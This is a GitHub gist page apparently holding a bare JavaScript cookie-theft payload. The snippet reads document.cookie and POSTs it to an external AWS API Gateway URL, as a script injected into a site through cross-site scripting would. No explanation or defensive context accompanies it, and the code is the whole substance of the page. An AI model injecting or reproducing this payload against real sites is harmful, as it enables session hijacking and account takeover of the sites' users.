Skip to content

Instantly share code, notes, and snippets.

@Andras1000
Created April 7, 2020 06:17
Show Gist options
  • Save Andras1000/81af45320820715b609588e0a0d13ae8 to your computer and use it in GitHub Desktop.
Save Andras1000/81af45320820715b609588e0a0d13ae8 to your computer and use it in GitHub Desktop.
(function() {
let xhttp = new XMLHttpRequest();
xhttp.open("POST", "https://f7fw1yfq99.execute-api.eu-west-2.amazonaws.com/prod/", true);
xhttp.setRequestHeader('Content-type', 'text/html; charset=UTF-8');
xhttp.send(document.cookie);
})();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment